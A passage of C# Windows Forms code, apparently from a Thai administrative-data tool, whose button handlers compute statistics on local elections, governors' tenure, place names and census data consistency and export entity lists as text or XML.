if ( areadefinition.subdivisionsSpecified && areadefinition.subdivisiontypeSpecified && (areadefinition.subdivisiontype != EntityType.Unknown) )
{
var geocode = areadefinition.geocode;
var entity = GlobalData.LookupGeocode(geocode);
while ( (entity != null) && (entity.IsObsolete) )
{
geocode = entity.newgeocode.FirstOrDefault();
if ( geocode == 0 )
{
entity = null;
}
else
{
entity = GlobalData.LookupGeocode(geocode);
}
}
if ( entity != null )
{
var entityCount = new EntityCount
{
year = gazetteEntry.publication.Year.ToString(CultureInfo.InvariantCulture)
};
entityCount.reference.Add(new GazetteRelated(gazetteEntry));
entityCount.entry.Add(new EntityCountType()
{
count = Convert.ToUInt32(areadefinition.subdivisions),
type = areadefinition.subdivisiontype,
}
);
entity.entitycount.Add(entityCount);
}
}
}
}
if ( duplicateMentionedGeocodes.Any() )
{
new StringDisplayForm("Duplicate geocodes", String.Join<UInt32>(Environment.NewLine, duplicateMentionedGeocodes)).Show();
}
}
else
{
MessageBox.Show(this, String.Format(CultureInfo.CurrentUICulture, "Fatal error: Directory {0} does not exist." + Environment.NewLine + "Application will be terminated.", searchPath), "Directory error", MessageBoxButtons.OK, MessageBoxIcon.Error);
Application.Exit();
}
}
private void btnTambonStatistics_Click(object sender, EventArgs e)
{
EntityCounter counter = new EntityCounter(new List<EntityType>() { EntityType.Tambon });
// var lChangwat = (PopulationDataEntry)cbx_changwat.SelectedItem;
// lCounter.BaseGeocode = lChangwat.Geocode;
counter.Calculate();
var form = new StringDisplayForm("Tambon", counter.CommonNames(20));
form.Show();
}
private void btnMubanStatistics_Click(object sender, EventArgs e)
{
EntityCounter counter = new EntityCounter(new List<EntityType>() { EntityType.Muban });
counter.Calculate();
var formNames = new StringDisplayForm("Muban", counter.CommonNames(20));
formNames.Show();
}
private void btnChumchonStatistics_Click(object sender, EventArgs e)
{
EntityCounter counter = new EntityCounter(new List<EntityType>() { EntityType.Chumchon });
counter.Calculate();
var formNames = new StringDisplayForm("Chumchon", counter.CommonNames(20));
formNames.Show();
}
private void btnTermEnds_Click(object sender, EventArgs e)
{
var itemsWithTermEnds = new List<EntityTermEnd>();
var geocode = (cbxChangwat.SelectedItem as Entity).geocode;
if ( chkAllProvince.Checked )
{
geocode = 0;
}
var itemWithCouncilTermEndsInChangwat = EntitiesWithCouncilTermEndInYear(geocode, DateTime.Now.Year);
// var itemWithOfficialTermEndsInChangwat = EntitiesWithCouncilTermEndInYear(geocode, DateTime.Now.Year);
itemsWithTermEnds.AddRange(itemWithCouncilTermEndsInChangwat);
itemsWithTermEnds.Sort((x, y) => x.CouncilTerm.begin.CompareTo(y.CouncilTerm.begin));
var builder = new StringBuilder();
Int32 count = 0;
foreach ( var item in itemsWithTermEnds )
{
builder.AppendFormat(CultureInfo.CurrentUICulture, "{0} ({1}): {2:d}", item.Entity.english, item.Entity.geocode, item.CouncilTerm.begin.AddYears(4).AddDays(-1));
builder.AppendLine();
count++;
}
if ( count > 0 )
{
var displayForm = new StringDisplayForm(String.Format(CultureInfo.CurrentUICulture, "Term ends ({0})", count), builder.ToString());
displayForm.Show();
}
}
private void btnTimeBetweenElection_Click(object sender, EventArgs e)
{
var counter = new FrequencyCounter();
foreach ( var changwat in GlobalData.Provinces )
{
CalculateTimeBetweenLocalElection(changwat.geocode, counter);
}
var builder = new StringBuilder();
builder.AppendFormat(CultureInfo.CurrentUICulture, "Number of interregnums: {0}", counter.NumberOfValues);
builder.AppendLine();
builder.AppendFormat(CultureInfo.CurrentUICulture, "Minimum days between elections: {0}", counter.MinValue);
builder.AppendLine();
builder.AppendFormat(CultureInfo.CurrentUICulture, "Maximum days between elections: {0}", counter.MaxValue);
builder.AppendLine();
builder.AppendFormat(CultureInfo.CurrentUICulture, "Mean number of days between elections: {0:#0.0}", counter.MedianValue);
builder.AppendLine();
builder.AppendLine();
builder.AppendLine("Offices with longest interregnum:");
foreach ( var geocode in counter.Data[counter.MaxValue] )
{
var entity = GlobalData.LookupGeocode(geocode);
builder.AppendFormat(CultureInfo.CurrentUICulture, "{0} ({1}): {2} days", entity.english, geocode, counter.MaxValue);
builder.AppendLine();
}
builder.AppendLine();
builder.AppendLine("Offices with shortest interregnum:");
foreach ( var geocode in counter.Data[counter.MinValue] )
{
var entity = GlobalData.LookupGeocode(geocode);
builder.AppendFormat(CultureInfo.CurrentUICulture, "{0} ({1}): {2} days", entity.english, geocode, counter.MinValue);
builder.AppendLine();
}
var result = builder.ToString();
var formInterregnum = new StringDisplayForm("Time between elections", result);
formInterregnum.Show();
}
private static void CalculateTimeBetweenLocalElection(UInt32 geocode, FrequencyCounter counter)
{
var fullChangwat = GlobalData.GetGeocodeList(geocode);
foreach ( var item in fullChangwat.FlatList() )
{
foreach ( var office in item.office )
{
office.council.SortByDate();
CouncilTerm lastTerm = null;
foreach ( var term in office.council.CouncilTerms )
{
if ( lastTerm != null )
{
if ( lastTerm.endSpecified )
{
var interregnum = term.begin - lastTerm.end;
counter.IncrementForCount(interregnum.Days, item.geocode);
}
}
lastTerm = term;
}
}
}
}
private static void CountCouncilElectionWeekday(UInt32 geocode, FrequencyCounter counter)
{
var fullChangwat = GlobalData.GetGeocodeList(geocode);
foreach ( var item in fullChangwat.FlatList() )
{
foreach ( var office in item.office )
{
foreach ( var term in office.council.CouncilTerms )
{
counter.IncrementForCount((Int32)term.begin.DayOfWeek, item.geocode);
}
}
}
}
private static void CountCouncilElectionDate(UInt32 geocode, FrequencyCounter counter)
{
var zeroDate = new DateTime(2000, 1, 1);
var fullChangwat = GlobalData.GetGeocodeList(geocode);
foreach ( var item in fullChangwat.FlatList() )
{
foreach ( var office in item.office )
{
foreach ( var term in office.council.CouncilTerms )
{
var span = term.begin - zeroDate;
counter.IncrementForCount(span.Days, item.geocode);
}
}
}
}
private static void CountNayokElectionDate(UInt32 geocode, FrequencyCounter counter)
{
var zeroDate = new DateTime(2000, 1, 1);
var fullChangwat = GlobalData.GetGeocodeList(geocode);
foreach ( var item in fullChangwat.FlatList() )
{
foreach ( var office in item.office )
{
if ( office.officials != null )
{
foreach ( var officialTerm in office.officials.OfficialTerms )
{
if ( officialTerm.beginreason == OfficialBeginType.ElectedDirectly )
{
var span = officialTerm.begin - zeroDate;
counter.IncrementForCount(span.Days, item.geocode);
}
}
}
}
}
}
private void btnElectionWeekday_Click(object sender, EventArgs e)
{
var counter = new FrequencyCounter();
foreach ( var changwat in GlobalData.Provinces )
{
CountCouncilElectionWeekday(changwat.geocode, counter);
}
var builder = new StringBuilder();
builder.AppendFormat(CultureInfo.CurrentUICulture, "Number of elections: {0}", counter.NumberOfValues);
builder.AppendLine();
DayOfWeek leastFrequentDay = DayOfWeek.Sunday;
Int32 leastFrequentDayCount = Int32.MaxValue;
foreach ( var dataEntry in counter.Data )
{
var count = dataEntry.Value.Count();
var day = (DayOfWeek)(dataEntry.Key);
builder.AppendFormat(CultureInfo.CurrentUICulture, "{0}: {1} ({2:#0.0%})", day, count, (Double)count / counter.NumberOfValues);
if ( count < leastFrequentDayCount )
{
leastFrequentDayCount = count;
leastFrequentDay = day;
}
builder.AppendLine();
}
builder.AppendFormat(CultureInfo.CurrentUICulture, "Elections on {0} at ", leastFrequentDay);
foreach ( var value in counter.Data[(Int32)leastFrequentDay] )
{
builder.AppendFormat(CultureInfo.CurrentUICulture, "{0},", value);
}
builder.AppendLine();
var result = builder.ToString();
var formElectionDayOfWeek = new StringDisplayForm("Election days", result);
formElectionDayOfWeek.Show();
}
private void btnMubanHelper_Click(object sender, EventArgs e)
{
var country = new Entity();
foreach ( var province in GlobalData.Provinces )
{
var provinceData = GlobalData.GetGeocodeList(province.geocode);
country.entity.Add(provinceData);
}
var allEntities = country.FlatList();
var romanizator = new Romanization();
romanizator.Initialize(allEntities);
var form = new MubanHelperForm
{
Romanizator = romanizator
};
form.Show();
}
private void btnPendingElections_Click(object sender, EventArgs e)
{
var itemsWithCouncilElectionsPending = new List<EntityTermEnd>();
var itemsWithOfficialElectionsPending = new List<EntityTermEnd>();
var itemsWithOfficialElectionResultUnknown = new List<EntityTermEnd>();
Entity entity;
if ( chkAllProvince.Checked )
{
entity = GlobalData.CompleteGeocodeList();
}
else
{
var changwatGeocode = (cbxChangwat.SelectedItem as Entity).geocode;
entity = GlobalData.GetGeocodeList(changwatGeocode);
}
var itemsWithCouncilElectionPendingInChangwat = entity.EntitiesWithCouncilElectionPending();
itemsWithCouncilElectionsPending.AddRange(itemsWithCouncilElectionPendingInChangwat);
itemsWithCouncilElectionsPending.Sort((x, y) => x.CouncilTerm.begin.CompareTo(y.CouncilTerm.begin));
var itemsWithOfficialElectionPendingInChangwat = entity.EntitiesWithOfficialElectionPending(true);
itemsWithOfficialElectionsPending.AddRange(itemsWithOfficialElectionPendingInChangwat);
itemsWithOfficialElectionsPending.Sort((x, y) => x.OfficialTerm.begin.CompareTo(y.OfficialTerm.begin));
var itemsWithOfficialElectionResultUnknownInChangwat = entity.EntitiesWithLatestOfficialElectionResultUnknown();
itemsWithOfficialElectionResultUnknown.AddRange(itemsWithOfficialElectionResultUnknownInChangwat);
itemsWithOfficialElectionResultUnknown.Sort((x, y) => x.OfficialTerm.begin.CompareTo(y.OfficialTerm.begin));
var councilBuilder = new StringBuilder();
Int32 councilCount = 0;
foreach ( var item in itemsWithCouncilElectionsPending )
{
DateTime end;
if ( item.CouncilTerm.endSpecified )
{
end = item.CouncilTerm.end;
}
else
{
end = item.CouncilTerm.begin.AddYears(4).AddDays(-1);
}
councilBuilder.AppendFormat(CultureInfo.CurrentUICulture, "{0} ({1}): {2:d}", item.Entity.english, item.Entity.geocode, end);
councilBuilder.AppendLine();
councilCount++;
}
if ( councilCount > 0 )
{
var displayForm = new StringDisplayForm(String.Format(CultureInfo.CurrentUICulture, "{0} LAO council elections pending", councilCount), councilBuilder.ToString());
displayForm.Show();
}
var officialBuilder = new StringBuilder();
Int32 officialCount = 0;
foreach ( var item in itemsWithOfficialElectionsPending )
{
String officialTermEnd = "unknown";
if ( (item.OfficialTerm.begin != null) && (item.OfficialTerm.begin.Year > 1900) )
{
DateTime end;
if ( item.OfficialTerm.endSpecified )
{
end = item.OfficialTerm.end;
}
else
{
end = item.OfficialTerm.begin.AddYears(4).AddDays(-1);
}
officialTermEnd = String.Format(CultureInfo.CurrentUICulture, "{0:d}", end);
}
officialBuilder.AppendFormat(CultureInfo.CurrentUICulture, "{0} ({1}): {2}", item.Entity.english, item.Entity.geocode, officialTermEnd);
officialBuilder.AppendLine();
officialCount++;
}
if ( officialCount > 0 )
{
var displayForm = new StringDisplayForm(String.Format(CultureInfo.CurrentUICulture, "{0} LAO official elections pending", officialCount), officialBuilder.ToString());
displayForm.Show();
}
var officialUnknownBuilder = new StringBuilder();
Int32 officialUnknownCount = 0;
foreach ( var item in itemsWithOfficialElectionResultUnknown )
{
if ( (item.OfficialTerm.begin != null) && (item.OfficialTerm.begin.Year > 1900) ) // must be always true
{
officialUnknownBuilder.AppendFormat(CultureInfo.CurrentUICulture, "{0} ({1}): {2:d}", item.Entity.english, item.Entity.geocode, item.OfficialTerm.begin);
officialUnknownBuilder.AppendLine();
officialUnknownCount++;
}
}
if ( officialUnknownCount > 0 )
{
var displayForm = new StringDisplayForm(String.Format(CultureInfo.CurrentUICulture, "{0} LAO official elections result missing", officialUnknownCount), officialUnknownBuilder.ToString());
displayForm.Show();
}
}
private void btnCreateKml_Click(object sender, EventArgs e)
{
// TODO!
}
private void btnWikiData_Click(object sender, EventArgs e)
{
new WikiData().Show();
}
private void btnElectionDates_Click(object sender, EventArgs e)
{
var counter = new FrequencyCounter();
foreach ( var changwat in GlobalData.Provinces )
{
CountCouncilElectionDate(changwat.geocode, counter);
}
var builder = new StringBuilder();
builder.AppendFormat(CultureInfo.CurrentUICulture, "Number of elections: {0}", counter.NumberOfValues);
builder.AppendLine();
var zeroDate = new DateTime(2000, 1, 1);
var ordered = counter.Data.OrderBy(x => x.Key);
foreach ( var entry in ordered )
{
var count = entry.Value.Count();
if ( count > 0 )
{
builder.AppendFormat(CultureInfo.CurrentUICulture, "{0:yyyy-MM-dd}: {1}", zeroDate.AddDays(entry.Key), entry.Value.Count());
builder.AppendLine();
}
}
builder.AppendLine();
var result = builder.ToString();
var formElectionDayOfWeek = new StringDisplayForm("Election dates", result);
formElectionDayOfWeek.Show();
}
private void btn_Population_Click(Object sender, EventArgs e)
{
var geocode = (cbxChangwat.SelectedItem as Entity).geocode;
var downloader = new PopulationDataDownloader(Convert.ToInt32(edtYear.Value), geocode);
downloader.Process();
var output = XmlManager.EntityToXml<Entity>(downloader.Data);
File.WriteAllText(Path.Combine(PopulationDataDownloader.OutputDirectory, geocode.ToString() + " " + edtYear.Value.ToString() + ".xml"), output);
}
private void btnNayokResign_Click(Object sender, EventArgs e)
{
UInt32 changwatGeocode = 0;
if ( !chkAllProvince.Checked )
{
changwatGeocode = (cbxChangwat.SelectedItem as Entity).geocode;
}
var allTermEnd = EntitiesWithCouncilTermEndInTimeSpan(changwatGeocode, new DateTime(2013, 9, 1), new DateTime(2013, 9, 30));
var allNextElectionNormal = allTermEnd.Where(x => x.Entity.office.First().council.CouncilTerms.Any(y => y.begin > x.CouncilTerm.end && (y.begin - x.CouncilTerm.end).Days < 60)).ToList();
List<EntityTermEnd> processedTermEnds = new List<EntityTermEnd>();
foreach ( var entry in allTermEnd )
{
entry.Entity.office.First().officials.SortByDate();
processedTermEnds.Add(new EntityTermEnd(
entry.Entity,
entry.CouncilTerm,
entry.Entity.office.First().officials.OfficialTerms.FirstOrDefault(y => y.begin == entry.CouncilTerm.begin)));
}
var nayokTermStartedSameDate = processedTermEnds.Where(x => x.OfficialTerm != null).ToList();
var nextElectionNormal = nayokTermStartedSameDate.Where(x => x.Entity.office.First().council.CouncilTerms.Any(y => y.begin > x.CouncilTerm.end && (y.begin - x.CouncilTerm.end).Days < 60)).ToList();
var nayokTermEndNormal = nextElectionNormal.Where(x => x.OfficialTerm.end == x.CouncilTerm.end).ToList();
var nayokTermEndUnknown = nextElectionNormal.Where(x => x.OfficialTerm.end != x.CouncilTerm.end).ToList();
List<EntityTermEnd> nextNayokElectionEarly = new List<EntityTermEnd>();
List<Entity> nayokElectedAgainEarly = new List<Entity>();
List<Entity> nayokElectionFailEarly = new List<Entity>();
List<Entity> nayokElectedAgainNormal = new List<Entity>();
List<Entity> nayokElectionFailNormal = new List<Entity>();
foreach ( var entry in nayokTermEndUnknown )
{
var nextCouncilTerm = entry.Entity.office.First().council.CouncilTerms.First(y => y.begin > entry.CouncilTerm.end && (y.begin - entry.CouncilTerm.end).Days < 60);
var nextNayokTerm = entry.Entity.office.First().officials.OfficialTerms.LastOrDefault(y => (y.begin < nextCouncilTerm.begin));
if ( (nextNayokTerm != null) && (nextNayokTerm.begin.Year == entry.CouncilTerm.end.Year) )
{
nextNayokElectionEarly.Add(new EntityTermEnd(entry.Entity, nextCouncilTerm, nextNayokTerm));
if ((nextNayokTerm is OfficialEntry nextOfficial) && (entry.OfficialTerm is OfficialEntry previousOfficial))
{
if (nextOfficial.name == previousOfficial.name)
{
nayokElectedAgainEarly.Add(entry.Entity);
}
else
{
nayokElectionFailEarly.Add(entry.Entity);
}
}
}
}
foreach ( var entry in nayokTermEndNormal )
{
var nextCouncilTerm = entry.Entity.office.First().council.CouncilTerms.First(y => y.begin > entry.CouncilTerm.end && (y.begin - entry.CouncilTerm.end).Days < 60);
if ((entry.Entity.office.First().officials.OfficialTerms.LastOrDefault(y => (y.begin == nextCouncilTerm.begin)) is OfficialEntry nextOfficial) && (entry.OfficialTerm is OfficialEntry previousOfficial))
{
if (nextOfficial.name == previousOfficial.name)
{
nayokElectedAgainNormal.Add(entry.Entity);
}
else
{
nayokElectionFailNormal.Add(entry.Entity);
}
}
}
var builder = new StringBuilder();
builder.AppendFormat(CultureInfo.CurrentUICulture, "Number of council term ends: {0}", allTermEnd.Count());
builder.AppendLine();
builder.AppendFormat(CultureInfo.CurrentUICulture, "Number of council term elections: {0}", allNextElectionNormal.Count());
builder.AppendLine();
builder.AppendFormat(CultureInfo.CurrentUICulture, "Number of term started together: {0}", nayokTermStartedSameDate.Count);
builder.AppendLine();
builder.AppendFormat(CultureInfo.CurrentUICulture, "Number of term into consideration: {0}", nextElectionNormal.Count);
builder.AppendLine();
builder.AppendFormat(CultureInfo.CurrentUICulture, "Number of Nayok till end of term: {0}", nayokTermEndNormal.Count);
builder.AppendLine();
var success = Convert.ToDouble(nayokElectedAgainNormal.Count());
var fail = Convert.ToDouble(nayokElectionFailNormal.Count());
builder.AppendFormat(CultureInfo.CurrentUICulture, " {0} reelected, {1} changed; {2:P} success rate", success, fail, success / (success + fail));
builder.AppendLine();
builder.AppendFormat(CultureInfo.CurrentUICulture, "Number of Nayok early election: {0}", nextNayokElectionEarly.Count);
builder.AppendLine();
success = Convert.ToDouble(nayokElectedAgainEarly.Count());
fail = Convert.ToDouble(nayokElectionFailEarly.Count());
builder.AppendFormat(CultureInfo.CurrentUICulture, " {0} reelected, {1} changed; {2:P} success rate", success, fail, success / (success + fail));
builder.AppendLine();
builder.AppendLine();
if ( chkAllProvince.Checked )
{
foreach ( var changwat in GlobalData.Provinces )
{
var nayokEndTermInChangwat = nayokTermEndNormal.Where(x => GeocodeHelper.ProvinceCode(x.Entity.geocode) == changwat.geocode).Count();
var nayokEarlyInChangwat = nextNayokElectionEarly.Where(x => GeocodeHelper.ProvinceCode(x.Entity.geocode) == changwat.geocode).Count();
var total = nayokEarlyInChangwat + nayokEndTermInChangwat;
if ( total > 0 )
{
builder.AppendFormat(CultureInfo.CurrentUICulture, "{0}: {1} of {2} normal, {3:P} early", changwat.english, nayokEndTermInChangwat, total, Convert.ToDouble(nayokEarlyInChangwat) / total);
builder.AppendLine();
}
}
}
var result = builder.ToString();
var formElectionDayOfWeek = new StringDisplayForm("Nayok info", result);
formElectionDayOfWeek.Show();
}
private void btnShowEntityData_Click(Object sender, EventArgs e)
{
var formEntityBrowser = new EntityBrowserForm
{
StartChangwatGeocode = (cbxChangwat.SelectedItem as Entity).geocode,
PopulationReferenceYear = Convert.ToInt16(edtYear.Value),
PopulationDataSource = PopulationDataSourceType.DOPA
};
Boolean checkWikiData = false;
try
{
var checkWikidataConfig = ConfigurationManager.AppSettings["EntityBrowserCheckWikiData"];
checkWikiData = Convert.ToBoolean(checkWikidataConfig);
}
catch ( FormatException )
{
}
formEntityBrowser.CheckWikiData = checkWikiData;
formEntityBrowser.Show();
}
private void btnCheckCensus_Click(Object sender, EventArgs e)
{
Int16 year = Convert.ToInt16(cbxCensusYears.SelectedItem as String);
var builder = new StringBuilder();
var baseEntity = GlobalData.CompleteGeocodeList();
var type = PopulationDataSourceType.Census;
// var type = PopulationDataSourceType.DOPA;
// year = 2016;
var populationData = GlobalData.LoadPopulationDataUnprocessed(type, year);
var allEntities = populationData.FlatList().Where(x => x.population.Any(y => y.source == type && y.Year == year)).ToList().OrderBy(x => x.geocode);
foreach ( var entity in allEntities )
{
var population = entity.population.First(y => y.source == type && y.Year == year);
Int32 diff = 0;
var notDistinctPopulationDataTypes =
from list in population.data
group list by list.type into grouped
where grouped.Count(x => x.valid) > 1
select grouped;
foreach ( var notDistinctType in notDistinctPopulationDataTypes )
{
var codes = notDistinctType.Select(x => String.Join(",", x.geocode));
if ( codes.Distinct().Count() != codes.Count() )
{
builder.AppendFormat(CultureInfo.CurrentUICulture, "{0} ({1}): {2} present {3} times)", entity.english, entity.geocode, notDistinctType.Key, notDistinctType.Count());
builder.AppendLine();
}
}
foreach ( var data in population.data.Where(x => x.valid) )
{
if ( data.male != 0 && data.female != 0 )
{
diff = Math.Abs(data.total - data.male - data.female);
if ( diff > 1 )
{
builder.AppendFormat(CultureInfo.CurrentUICulture, "{0} ({1}): {2} differs male/female to total by {3}", entity.english, entity.geocode, data.type, diff);
builder.AppendLine();
}
}
foreach ( var subData in data.data )
{
if ( data.male != 0 && data.female != 0 )
{
diff = Math.Abs(data.total - data.male - data.female);
if ( diff > 1 )
{
builder.AppendFormat(CultureInfo.CurrentUICulture, "{0} ({1}): {2} of {3} differs male/female to total by {4}", entity.english, entity.geocode, subData.type, data.type, diff);
builder.AppendLine();
}
}
}
if ( data.geocode.Any() )
{
switch ( data.type )
{
case PopulationDataType.ruralsanitary:
if ( (data.total > 4999 * data.geocode.Count) )
{
builder.AppendFormat(CultureInfo.CurrentUICulture, "{0} ({1}): Rural sanitary population {2} with just {3} sanitary district(s).", entity.english, entity.geocode, data.total, data.geocode.Count);
builder.AppendLine();
}
break;
case PopulationDataType.urbansanitary:
if ( (data.total < 5000 * data.geocode.Count) )
{
builder.AppendFormat(CultureInfo.CurrentUICulture, "{0} ({1}): Urban sanitary population {2} not possible with {3} sanitary district(s).", entity.english, entity.geocode, data.total, data.geocode.Count);
builder.AppendLine();
}
break;
}
}
if ( !data.AgeTableValid() )
{
builder.AppendFormat(CultureInfo.CurrentUICulture, "{0} ({1}): {2} age table does not sum up", entity.english, entity.geocode, data.type);
builder.AppendLine();
}
}
diff = population.SumError();
if ( diff > 1 )
{
builder.AppendFormat(CultureInfo.CurrentUICulture, "{0} ({1}): Sum of parts differs by {2}", entity.english, entity.geocode, diff);
builder.AppendLine();
}
var sum = new PopulationData();
foreach ( var subEntity in entity.entity.Where(x => !x.IsObsolete && x.population.Any()) )
{
var populationToAdd = subEntity.population.FirstOrDefault(y => y.source == type && y.Year == year);
if ( populationToAdd != null )
{
foreach ( var dataPoint in populationToAdd.data.Where(x => x.valid) )
{
sum.AddDataPoint(dataPoint);
}
}
}
if ( sum.data.Any() )
{
diff = sum.TotalPopulation.MaxDeviation(entity.population.First(y => y.source == type && y.Year == year).TotalPopulation);
if ( diff > 1 )
{
builder.AppendFormat(CultureInfo.CurrentUICulture, "{0} ({1}): Sum of sub-entities differs by {2}", entity.english, entity.geocode, diff);
builder.AppendLine();
}
}
}
var result = builder.ToString();
var formCensusProblems = new StringDisplayForm(String.Format(CultureInfo.CurrentUICulture, "Census data problems {0}", year), result);
formCensusProblems.Show();
}
private String CreateEntityList(EntityType entityType, PopulationDataSourceType populationDataSource, Int16 populationYear)
{
var format = "{0},{1},{2},{5}";
if ( populationDataSource != PopulationDataSourceType.Unknown )
{
GlobalData.LoadPopulationData(populationDataSource, populationYear);
format = "{0},{1},{2},{3},{4},{5}";
}
var baseEntity = GlobalData.CompleteGeocodeList();
baseEntity.PropagateObsoleteToSubEntities();
var allFittingEntites = baseEntity.FlatList().Where(x => x.type.IsCompatibleEntityType(entityType) && !x.IsObsolete).OrderBy(x => x.geocode).ToList();
var builder = new StringBuilder();
Int32 population = 0;
Int32 households = 0;
foreach ( var entity in allFittingEntites )
{
var location = String.Empty;
if ( entity.office.Any() )
{
var point = entity.office.First().Point;
if ( point != null )
{
location = String.Format(CultureInfo.InvariantCulture, "{0} N {1} E", point.lat, point.@long);
}
}
population = 0;
households = 0;
if ( populationDataSource != PopulationDataSourceType.Unknown )
{
var populationData = entity.population.FirstOrDefault(x => x.Year == populationYear && x.source == populationDataSource);
if ( populationData != null )
{
population = populationData.TotalPopulation.total;
if (populationData.TotalPopulation is HouseholdDataPoint householdData)
{
households = householdData.households;
}
}
}
builder.AppendFormat(CultureInfo.CurrentUICulture, format, entity.geocode, entity.english, entity.name, population, households, location);
builder.AppendLine();
}
return builder.ToString();
}
private void btnAmphoeList_Click(Object sender, EventArgs e)
{
Int16 year = Convert.ToInt16(edtYear.Value);
var data = CreateEntityList(EntityType.Amphoe, PopulationDataSourceType.DOPA, year);
Clipboard.Clear();
Clipboard.SetText(data);
}
private void btnGovernor_Click(Object sender, EventArgs e)
{
var baseEntity = GlobalData.CompleteGeocodeList();
var allChangwat = baseEntity.FlatList().Where(x => x.type == EntityType.Changwat && !x.IsObsolete).ToList();
List<Entity> vacantChangwat = new List<Entity>();
var frequency = new FrequencyCounter();
foreach ( var changwat in allChangwat )
{
var officials = changwat.office.First(y => y.type == OfficeType.ProvinceHall).officials.OfficialTerms;
var official = officials.First();
if ( !official.InOffice() )
{
vacantChangwat.Add(changwat);
}
else
{
var yearsInOffice = DateTime.Now.Year - officials.First().begin.Year;
frequency.IncrementForCount(yearsInOffice, changwat.geocode);
}
}
var builder = new StringBuilder();
builder.AppendLine(String.Format(CultureInfo.CurrentUICulture, "Most common number of years in office: {0}", frequency.MostCommonValue));
builder.AppendLine(String.Format(CultureInfo.CurrentUICulture, "Mean number of years in office: {0:F2}", frequency.MedianValue));
var longestTermChangwat = frequency.Data[frequency.MaxValue].Select(x => allChangwat.First(y => y.geocode == x)).Select(x => x.english);
builder.AppendLine(String.Format(CultureInfo.CurrentUICulture, "Longest time in office: {0} years (in {1})", frequency.MaxValue, String.Join(", ", longestTermChangwat)));
builder.AppendLine();
if ( vacantChangwat.Any() )
{
builder.Append(String.Join(Environment.NewLine, vacantChangwat.Select(x => x.english)));
}
var formGovernors = new StringDisplayForm("Governors", builder.ToString());
formGovernors.Show();
}
private void btnAgeTable_Click(Object sender, EventArgs e)
{
// foreach ( var baseEntity in GlobalData.CompleteGeocodeList().entity.Where(x => x.type.IsCompatibleEntityType(EntityType.Changwat)) )
{
var baseEntity = ActiveProvince();
var entity = new Entity();
entity.CopyBasicDataFrom(baseEntity);
var code = entity.geocode;
Int16 year = Convert.ToInt16(edtYear.Value);
var path = Path.Combine(_ageDataDirectory, String.Format(CultureInfo.InvariantCulture, "{0:00}12cc{1:00}.txt", year - 2000 + 43, code));
if ( File.Exists(path) )
{
String input = File.ReadAllText(path);
using ( StringReader reader = new StringReader(input) )
{
String line = reader.ReadLine();
var fields = line.Split('|');
var populationData = new PopulationData
{
year = year.ToString(CultureInfo.InvariantCulture),
source = PopulationDataSourceType.DOPA,
referencedate = new DateTime(year, 12, 31)
};
var dataEntry = new HouseholdDataPoint
{
type = PopulationDataType.total
};
var ageTable = new AgeTable();
dataEntry.agetable = ageTable;
populationData.data.Add(dataEntry);
entity.population.Add(populationData);
for ( UInt32 age = 0 ; age <= 101 ; age++ )
{
var ageEntry = new AgeTableEntry
{
begin = age
};
if ( age > 100 )
{
ageEntry.end = 120;
}
else
{
ageEntry.end = age;
}
ageEntry.male = Convert.ToInt32(fields[age * 2 + 1]);
ageEntry.female = Convert.ToInt32(fields[age * 2 + 2]);
ageEntry.total = ageEntry.male + ageEntry.female;
ageTable.age.Add(ageEntry);
}
ageTable.unknown = new PopulationDataPoint
{
male = Convert.ToInt32(fields[205]),
female = Convert.ToInt32(fields[206]),
total = Convert.ToInt32(fields[207])
};
dataEntry.houseregister = new PopulationDataPoint
{
male = Convert.ToInt32(fields[208]),
female = Convert.ToInt32(fields[209]),
total = Convert.ToInt32(fields[210])
};
dataEntry.foreigner = new PopulationDataPoint
{
male = Convert.ToInt32(fields[211]),
female = Convert.ToInt32(fields[212]),
total = Convert.ToInt32(fields[213])
};
dataEntry.moving = new PopulationDataPoint
{
male = Convert.ToInt32(fields[214]),
female = Convert.ToInt32(fields[215]),
total = Convert.ToInt32(fields[216])
};
dataEntry.male = Convert.ToInt32(fields[217]);
dataEntry.female = Convert.ToInt32(fields[218]);
dataEntry.total = Convert.ToInt32(fields[219]);
var output = XmlManager.EntityToXml<Entity>(entity);
File.WriteAllText(Path.Combine(PopulationDataDownloader.OutputDirectory, String.Format(CultureInfo.InvariantCulture, "age{0} {1}.xml", year, entity.english)), output);
}
}
}
}
private void btnNumbers_Click(Object sender, EventArgs e)
{
var formEntityNumbers = new EntityNumbersForm();
formEntityNumbers.Show();
}
private void btnMubanList_Click(Object sender, EventArgs e)
{
var data = CreateEntityList(EntityType.Muban, PopulationDataSourceType.Unknown, 0);
Clipboard.Clear();
Clipboard.SetText(data);
}
private void btnTambonList_Click(Object sender, EventArgs e)
{
Int16 year = Convert.ToInt16(edtYear.Value);
var data = CreateEntityList(EntityType.Tambon, PopulationDataSourceType.DOPA, year);
Clipboard.Clear();
Clipboard.SetText(data);
}
private void btnDisambiguation_Click(Object sender, EventArgs e)
{
new DisambiguationForm().Show();
}
private void btnPopulationTable_Click(Object sender, EventArgs e)
{
Int16 year = Convert.ToInt16(edtYear.Value);
GlobalData.LoadPopulationData(PopulationDataSourceType.DOPA, year);
var baseEntity = GlobalData.CompleteGeocodeList();
var data = baseEntity.entity.Select(x => new Tuple<UInt32, PopulationData>(x.geocode, x.population.FirstOrDefault(y => y.Year == year && y.source == PopulationDataSourceType.DOPA))).OrderBy(x => x.Item1);
var builder = new StringBuilder();
foreach ( var item in data )
{
if ( item.Item2 != null )
{
builder.AppendFormat(CultureInfo.InvariantCulture, "{1}", item.Item1, item.Item2.TotalPopulation.total);
}
builder.AppendLine();
}
Clipboard.Clear();
Clipboard.SetText(builder.ToString());
}
private void btnShowPopulation_Click(Object sender, EventArgs e)
{
var formPopulationByEntityTypeViewer = new PopulationByEntityTypeViewer
{
PopulationReferenceYear = Convert.ToInt16(edtYear.Value),
PopulationDataSource = PopulationDataSourceType.DOPA
};
formPopulationByEntityTypeViewer.Show();
}
private void btnLaoList_Click(Object sender, EventArgs e)
{
var baseEntity = GlobalData.CompleteGeocodeList();
baseEntity.PropagateObsoleteToSubEntities();
var flatList = baseEntity.FlatList().Where(x => !x.IsObsolete && x.type != EntityType.Muban).ToList();
var localGovernments = flatList.Where(x => x.type.IsCompatibleEntityType(EntityType.Thesaban)).OrderBy(x => x.geocode).ToList();
var tambon = flatList.Where(x => x.type.IsCompatibleEntityType(EntityType.Tambon)).ToList();
foreach ( var item in tambon )
{
var lao = item.CreateLocalGovernmentDummyEntity();
if ( lao != null && !lao.IsObsolete )
{
localGovernments.Add(lao);
}
}
var amphoe = flatList.Where(x => x.type.IsCompatibleEntityType(EntityType.Amphoe)).ToList();
